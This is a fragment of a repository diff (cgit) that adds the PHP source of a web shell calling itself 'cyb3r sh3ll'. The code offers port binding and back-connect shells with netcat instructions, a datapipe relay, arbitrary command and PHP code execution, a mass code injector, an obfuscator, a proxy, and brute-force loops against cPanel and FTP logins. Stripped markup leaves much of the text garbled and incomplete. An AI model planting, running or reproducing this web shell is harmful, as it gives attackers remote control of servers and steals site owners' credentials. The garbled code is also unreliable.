+ echo "Result of binding port: ".getenv("SERVER_ADDR").":".$bind["port"]." ! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]." \"!View binder's process Result of back connection: Result of datapipe-running: ".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]." ! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]." \"!View datapipe process Binding port: Back connection: nc -l -n -v -p "!Datapipe: Note: sources will be downloaded from remote server.
+
+
+
+
+
+ [: Enter Command to Execute:
+
+
Useful Commands
+
+
+
+
+
+
+
+
Result of execution this command:Execution command "; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
+
+ echo "";
+
+}
+
+}
+
+if ($act == "phpcode")
+{
+ echo "
+
+PHP Code Evaluate -|-
+Mass Code Injector -|-
+PHP Obfuscator -|-
+Web Server Fuzzer
+ Result of execution this PHP-code :Execution PHP-code "; if (empty($eval_txt)) {$eval_txt = TRUE;}}
+
+ echo "";
+
+}
+
+if ($act == "proxy")
+{
+global $errorbox,$et,$footer,$hcwd;
+echo "";
+if (!empty($_REQUEST['urL'])){
+$dir="";
+$u=parse_url($_REQUEST['urL']);
+$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
+if(substr_count($file,'/')>1)$dir=substr($file,0,(strpos($file,'/')));
+$url=@fsockopen($host, 80, $errno, $errstr, 12);
+if(!$url)die("$data
";
+
+ print "cyb3r sh3ll is at its Work now :D ;D! Dont close this window untill you recieve a message
+
+
+
+";
+ cpanel_check($target,$pureuser,$firstVal,$connect_timeout);
+
+ while (1) {
+ for ($i = 0; $i < ($max + 1); $i++) {
+ if ($A[$i] == -1) {
+ break;
+ }
+ }
+ $i--;
+ $incDone = 0;
+ while (!$incDone) {
+ for ($j = 0; $j < $numVals; $j++) {
+ if ($A[$i] == $vals[$j]) {
+ break;
+ }
+ }
+ if ($j == ($numVals - 1)) {
+ $A[$i] = $vals[0];
+ $i--;
+ if ($i < 0) {
+ for ($i = 0; $i < ($max + 1); $i++) {
+ if ($A[$i] == -1) {
+ break;
+ }
+ }
+ $A[$i] = $vals[0];
+ $A[$i + 1] = -1;
+ $incDone = 1;
+ print "Starting " . (strlen($currentVal) + 1) . " Characters Cracking
";
+ }
+ } else {
+ $A[$i] = $vals[$j + 1];
+ $incDone = 1;
+ }
+ }
+ $i = 0;
+ $currentVal = "";
+ while ($A[$i] != -1) {
+ $currentVal = $currentVal . $A[$i];
+ $i++;
+ }
+ cpanel_check($target,$pureuser,$currentVal,$connect_timeout);
+ //echo $currentVal . "
";
+ if ($currentVal == $realMax) {
+ return 0;
+ }
+ }
+}
+function getmicrotimev() {
+ list($usec, $sec) = explode(" ",microtime());
+ return ((float)$usec + (float)$sec);
+}
+
+function ftp_check($host,$user,$pass,$timeout)
+{
+ $ch = curl_init();
+ curl_setopt($ch, CURLOPT_URL, "ftp://$host");
+ curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+ curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
+ curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
+ curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
+ curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
+ curl_setopt($ch, CURLOPT_FAILONERROR, 1);
+ $data = curl_exec($ch);
+ if ( curl_errno($ch) == 28 )
+ {
+ print "
+ Error : Connection Timeout
+ Please Check The Target Hostname . ";exit;
+ }
+ else if ( curl_errno($ch) == 0 )
+ {
+ print "
[~]
+ Cracking Success With Username " $user \"
+ and Password \" $pass \"
+ Error : Connection Timeout
+ Please Check The Target Hostname . [~]
+ Cracking Success With Username " $user \"
+ and Password \" $pass \" Error : Please Check The Users or Password List Entry . . .
"; exit; }
+ if(empty($users)){ print "Error : Please Check The Users List Entry . . .
"; exit; }
+ if(empty($pass) && $_REQUEST['bruteforce']!="true" ){ print "Error : Please Check The Password List Entry . . .
"; exit; };
+ $userlist=explode("\n",$users);
+ $passlist=explode("\n",$pass);
+ print "[~]#
+ LETS GAME BEGIN ;) ... [~]#
+ Please put some good password to crack user $pureuser :( ... [~]#
+ Cracking Finished. Elapsed time: $time seconds
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ ";
+}
+}
+
+}
+closedir($dh);
+}
+}
+?>
+
+
+ 
+
+
\ No newline at end of file
--
cgit v1.3
